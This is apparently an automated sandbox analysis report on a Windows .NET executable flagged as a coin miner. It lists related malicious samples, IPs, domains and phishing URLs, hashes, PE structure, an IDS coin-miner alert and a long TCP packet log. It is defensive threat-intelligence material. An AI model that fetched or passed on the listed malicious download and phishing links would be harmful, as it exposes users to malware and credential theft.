31.13.224.51	SecuriteInfo.com.Trojan.DownLoader47.42925.26493.18247.exe	Get hash	malicious	Amadey	Browse	c-cdns.top/g8VqD9fmdE/index.php
213.152.162.15	file.exe	Get hash	malicious	Xmrig	Browse
	mEUynxeOFV.exe	Get hash	malicious	Unknown	Browse
	XV58OAgf6B.exe	Get hash	malicious	BitRAT	Browse
	FSwWeSjHYb.exe	Get hash	malicious	XWorm	Browse
	booking_tour_important_document!@#$%99.exe	Get hash	malicious	GuLoader, Remcos	Browse
	qBnkvvqBP7.docx	Get hash	malicious	AveMaria, UACMe	Browse
	nJbFZsid5B.exe	Get hash	malicious	AveMaria, DBatLoader, UACMe	Browse
	9eRCbmFknk.exe	Get hash	malicious	AsyncRAT	Browse
	Al Hashimya General Trading Project 2029980987678789148598_DOC.exe	Get hash	malicious	BitRAT Xmrig	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
sck-dns.ws	file.exe	Get hash	malicious	Xmrig	Browse	104.21.80.31
	bin.elf	Get hash	malicious	PwnRig Miner	Browse	5.42.80.215
	bin.elf	Get hash	malicious	PwnRig Miner	Browse	5.42.80.215

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	copyright_infringement_evidence_1.exe	Get hash	malicious	Unknown	Browse	172.67.158.129
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	Copyright_Infringement_Evidence.exe	Get hash	malicious	Unknown	Browse	172.67.158.129
	ArT23Ix6Ox.exe	Get hash	malicious	Unknown	Browse	172.67.159.186
	cqKYl7T4CR.exe	Get hash	malicious	Unknown	Browse	104.21.9.92
	ArT23Ix6Ox.exe	Get hash	malicious	Unknown	Browse	104.21.9.92
	cqKYl7T4CR.exe	Get hash	malicious	Unknown	Browse	172.67.159.186
	SecuriteInfo.com.Trojan.DownLoader47.43340.9153.30810.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
	https://Vv.ndlevesio.com/vrbU/	Get hash	malicious	Unknown	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
SARNICA-ASBG	file.exe	Get hash	malicious	Xmrig	Browse	31.13.224.51
	http://netflix.dittmedlemskap.com/	Get hash	malicious	Unknown	Browse	94.156.105.136
	SecuriteInfo.com.Trojan.DownLoader47.42925.26493.18247.exe	Get hash	malicious	Amadey	Browse	31.13.224.51
	http://www.aliadenibasvuranli.com/	Get hash	malicious	Unknown	Browse	94.156.105.78
GLOBALLAYERNL	file.exe	Get hash	malicious	Xmrig	Browse	213.152.162.15
	ejdc7iP3A7.vbs	Get hash	malicious	Remcos	Browse	134.19.177.44
	Payment proof.xls	Get hash	malicious	Remcos	Browse	134.19.177.44
	TT12822024.xls	Get hash	malicious	Remcos	Browse	134.19.177.44
	IEry29c3sb.exe	Get hash	malicious	Remcos, DBatLoader	Browse	213.152.162.181
	URL4PrdxFm.exe	Get hash	malicious	Unknown	Browse	213.152.161.85
	36nYB3ZB3Y.exe	Get hash	malicious	Unknown	Browse	213.152.161.85
	mEUynxeOFV.exe	Get hash	malicious	Unknown	Browse	213.152.162.15
	8OgTtHvzHW.exe	Get hash	malicious	Unknown	Browse	213.152.161.85
	document.exe	Get hash	malicious	GuLoader, Remcos	Browse	213.152.187.215
OVHFR	file.exe	Get hash	malicious	Xmrig	Browse	51.222.111.116
	https://mailstat.us/tr/t/5w8u1qwlwl61e4h/1/https:/krediti.ca/#Y2FyYS5jJGNiZmxvb3JzaW5jLmNvbQ==	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	178.32.139.9
	Pending invoices.exe	Get hash	malicious	FormBook	Browse	54.38.220.85
	http://tcaconnect.ac-page.com/toronto-construction-association-inc/	Get hash	malicious	Unknown	Browse	51.77.64.70
	2xl3rbZjPq.elf	Get hash	malicious	Mirai	Browse	51.79.141.153
	QJ1MJ1roKY.elf	Get hash	malicious	Mirai	Browse	51.79.141.153
	Rdih5xVXy1.elf	Get hash	malicious	Mirai	Browse	51.79.141.153
	lmVqOcp685.elf	Get hash	malicious	Mirai	Browse	51.79.141.153
	CoNziwSE6M.elf	Get hash	malicious	Mirai	Browse	51.79.141.153
	XCpzABZN79.elf	Get hash	malicious	Mirai	Browse	51.79.141.153

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	https://Vv.ndlevesio.com/vrbU/	Get hash	malicious	Unknown	Browse	172.67.173.168
	x2Yi9Hr77a.exe	Get hash	malicious	XWorm	Browse	172.67.173.168
	file.exe	Get hash	malicious	Xmrig	Browse	172.67.173.168
	http://hans.uniformeslaamistad.com/prog/66f5db9e54794_vfkagks.exe	Get hash	malicious	Unknown	Browse	172.67.173.168
	STlUEqhwpx.exe	Get hash	malicious	Quasar	Browse	172.67.173.168
	EUYIlr7uUX.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.173.168
	file.exe	Get hash	malicious	Credential Flusher	Browse	172.67.173.168
	T6l6gPxwQU.exe	Get hash	malicious	Unknown	Browse	172.67.173.168
	https://mailstat.us/tr/t/5w8u1qwlwl61e4h/1/https:/krediti.ca/#Y2FyYS5jJGNiZmxvb3JzaW5jLmNvbQ==	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	172.67.173.168
	https://url.avanan.click/v2/r01/___https://www.tiktok.com/qnspdA7?fni=6cbb&qfsl=js&xhjsj=gnt_zwq&yfwljy=myyux:ddBBB.lttlqj.hfdzwq?v=frudxdkniljyAkC.sEd.frl___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzo2MGY0ZmI3MTkzODQ4OWRiOGFlZjY2ODI4ODlkMDk3NDo3OmRlYjY6NjI5YzkxZjFmNmQ3ZjI1NWIxN2UwYTI5ZTNmZjcyMTQyNTg3NmZhMDQyOWZlMDI4MDhmODRlNWVhYWU3MjJhZDpoOlQ6VA#ZHN5aHJlQG9sZ29vbmlrLmNvbQ==	Get hash	malicious	Unknown	Browse	172.67.173.168

File type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.968638054195922
TrID:	Win64 Executable GUI Net Framework (217006/5) 49.88% Win64 Executable GUI (202006/5) 46.43% Win64 Executable (generic) (12005/4) 2.76% Generic Win/DOS Executable (2004/3) 0.46% DOS Executable Generic (2002/1) 0.46%
File name:	2ngxhElaud.exe
File size:	1'826'816 bytes
MD5:	b353eef73cf06a89bf3d199050783f77
SHA1:	4ddb5095777a656684de8079d6fe24babdfc337b
SHA256:	4571f9310b1a27b245409e311b4de7fa6f620a18f1d3b98335e29b8d8f827150
SHA512:	774ec52f27a0a5b0cba01b36a17b4be43649ef639a1661125e6189d1523e4954b935cf7fd8a1014ff8f0cc667a2e92a8d38bcc7780300e01e283851559f9c566
SSDEEP:	24576:5VUwkKgut905sDpHJCBbu7i1WJAodCYhq:5iwkbqDkbu7iIbcY8
TLSH:	BC855E1BA9424BB1C24987FEC5C74D3403719D426A63FA3A657AF35605333AEFA49C0B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....f.g.................B............... ....@...... ....................... ............`...@......@............... .....

File Icon


Icon Hash:	7372616461686833

Static PE Info

General

Entrypoint:	0x400000
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6704661C [Mon Oct 7 22:52:12 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:

Entrypoint Preview

Instruction
dec ebp
pop edx
nop
add byte ptr [ebx], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x168000	0x59bc4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2000	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x1640f0	0x164200	e2e954a09f2521c1338b8470ed87b591	False	0.4697865479115479	data	6.023897464456728	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x168000	0x59bc4	0x59c00	7e9c591f88414f173ae7032c6edae3c9	False	0.28478901897632314	data	4.50857728199376	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x168310	0xfba3	PNG image data, 256 x 256, 16-bit/color RGBA, non-interlaced	1.000403607631289
RT_ICON	0x177eb4	0x25228	Device independent bitmap graphic, 192 x 384 x 32, image size 147456, resolution 3779 x 3779 px/m	0.09481670436017461
RT_ICON	0x19d0dc	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536, resolution 3779 x 3779 px/m	0.12683366852005204
RT_ICON	0x1ad904	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 36864, resolution 3779 x 3779 px/m	0.16036892999789784
RT_ICON	0x1b6dac	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384, resolution 3779 x 3779 px/m	0.22390174775625885
RT_ICON	0x1bafd4	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 3779 x 3779 px/m	0.2812240663900415
RT_ICON	0x1bd57c	0x1a68	Device independent bitmap graphic, 40 x 80 x 32, image size 6400, resolution 3779 x 3779 px/m	0.3252958579881657
RT_ICON	0x1befe4	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 3779 x 3779 px/m	0.3818011257035647
RT_ICON	0x1c008c	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 3779 x 3779 px/m	0.47418032786885245
RT_ICON	0x1c0a14	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1600, resolution 3779 x 3779 px/m	0.5395348837209303
RT_ICON	0x1c10cc	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 3779 x 3779 px/m	0.6125886524822695
RT_GROUP_ICON	0x1c1534	0xa0	data	0.69375
RT_VERSION	0x1c15d4	0x43c	data	0.41789667896678967
RT_MANIFEST	0x1c1a10	0x1b4	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (433), with no line terminators	0.5642201834862385

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-08T02:40:37.606992+0200	2826930	ETPRO COINMINER XMR CoinMiner Usage	2	192.168.2.4	64012	51.222.111.116	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 02:39:01.003848076 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.009502888 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.009589911 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.011354923 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.016315937 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.620954990 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.621000051 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.621032953 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.621064901 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.621098042 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.621166945 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.621198893 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.621212959 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.621212959 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.621212959 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.621229887 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.621263027 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.621292114 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.621299028 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.621345043 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.626296997 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.626507044 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.626605988 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.711762905 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.711816072 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.711834908 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.711865902 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.712136030 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.716804028 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.716850996 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.717017889 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.717051983 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.717081070 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.717113972 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.717256069 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.722026110 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.722074986 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.722117901 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.722136021 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.722232103 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.726773024 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.726807117 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.726840019 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.726984024 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.726998091 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.727019072 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.727078915 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.731527090 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.731575966 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.731607914 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.731631041 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.731775999 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.731808901 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.731826067 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.736334085 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.736411095 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.736432076 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.736440897 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.736489058 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.802340031 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.802388906 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.802423000 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.802454948 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.802592993 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.802593946 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.807152987 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.807197094 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.807301044 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.807344913 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.807379961 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.807421923 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.812344074 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.812438011 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.812472105 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.812480927 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.812504053 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.812536001 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.812541008 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.817138910 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.817188025 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.817217112 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.817219973 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.817253113 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.817266941 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.821894884 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.821928978 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.821971893 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.821979046 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.822012901 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.822048903 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.826670885 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.826745987 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.826777935 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.826791048 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.826832056 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.826867104 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.826899052 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.826955080 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.831672907 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.831706047 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.831739902 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.831770897 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.831794024 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.831803083 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.831820965 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.831835985 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.831866980 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.831880093 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.831899881 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.831933022 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.831942081 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.831964970 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.831996918 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.832015991 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.832030058 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.832061052 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.832073927 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.832093000 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.832123041 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.832134008 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.832154036 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.832186937 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.832200050 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.832220078 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.832251072 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.832273006 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.832282066 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.832315922 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.832328081 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.832350016 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.832391024 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.892833948 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.892868042 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.892884016 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.892899036 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.892914057 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.892931938 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.892923117 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.892966986 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.892995119 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.892995119 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.892998934 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.893033981 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.893048048 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.893775940 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.893817902 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.893829107 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.893866062 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.893910885 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.893912077 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.893944979 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.893994093 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.894602060 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.894654036 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.894685030 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.894695997 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.894792080 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.894824982 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.894834995 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.895560026 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.895617008 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.895661116 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.895711899 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.895744085 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.895756006 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.895778894 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.895822048 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.896505117 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.896554947 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.896586895 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.896600008 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.896692038 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.896728039 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.896740913 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.897492886 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.897542000 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.897542000 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.897574902 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.897615910 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.897675991 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.897710085 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.897754908 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.898463964 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.898514032 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.898545980 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.898559093 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.898613930 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.898647070 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.898654938 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.899457932 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.899507999 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.899511099 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.899544001 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.899576902 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:01.899586916 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:01.899610996 CEST	80	49730	31.13.224.51	192.168.2.4
